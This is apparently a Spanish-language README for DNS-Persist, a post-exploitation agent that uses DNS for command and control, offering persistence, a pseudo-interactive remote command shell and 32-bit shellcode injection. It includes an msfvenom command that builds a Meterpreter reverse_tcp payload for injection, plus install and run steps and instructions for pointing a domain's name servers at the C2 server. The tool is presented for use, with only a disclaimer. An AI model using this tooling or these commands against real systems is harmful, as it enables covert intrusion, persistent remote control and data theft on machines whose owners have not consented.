
DNS-Persist es un agente de post-explotación que utiliza DNS para el comando y control.
DNS-Persist es un agente de post-explotación que utiliza DNS para el comando y control. El código del lado del servidor está en Python y el agente está codificado en C++. Esta es la primera versión; se añadirán más funciones y mejoras en el futuro.
0x09AL - https://twitter.com/0x09al
NO UTILICES ESTE SOFTWARE PARA PROPÓSITOS ILEGALES.
EL AUTOR NO ASUME NINGUNA RESPONSABILIDAD POR EL MAL USO DEL CÓDIGO PROPORCIONADO AQUÍ.
Hay mucho trabajo excelente sobre DNS C2, pero creé este software para centrarme más en la parte de la persistencia. No soy un experto en C++ y este es mi primer «programa real» en C++ (así que espera código que provoque vergüenza ajena).
Se aceptan sugerencias sobre funciones y mejoras.
Hay dos partes principales:

Esta versión solo tiene 3 mecanismos de persistencia. Se añadirán más adelante.
Esta versión admite un shell de comandos pseudo-interactivo que puedes utilizar para ejecutar comandos del sistema.
Esta versión admite la inyección de shellcode de 32 bits. El shellcode se ejecuta en un nuevo hilo dentro del mismo proceso, por lo que un shellcode que falle o uno inválido también hará fallar al agente. Evita los bytes NULL en el shellcode.
msfvenom -p windows/meterpreter/reverse_tcp LHOST=ip LPORT=port EXITFUNC=thread -b "\x00" -f hex -o /tmp/shellcode.hex
pip install dnslib
git clone https://github.com/0x09AL/DNS-Persist
python server.py
Por defecto, se iniciará un servidor DNS en el puerto 53. Puedes cambiarlo en el archivo server.py.
Usé Visual Studio 2010 para programar el agente, por lo que importarlo y compilarlo debería ser bastante fácil.
Ten en cuenta que debes cambiar la variable DOMAIN_NAME en Declarations.h para que coincida con tu nombre de dominio.
Los servidores de nombres del dominio deben apuntar a la dirección IP de DNS-Persist.
#define DOMAIN_NAME "example.com"



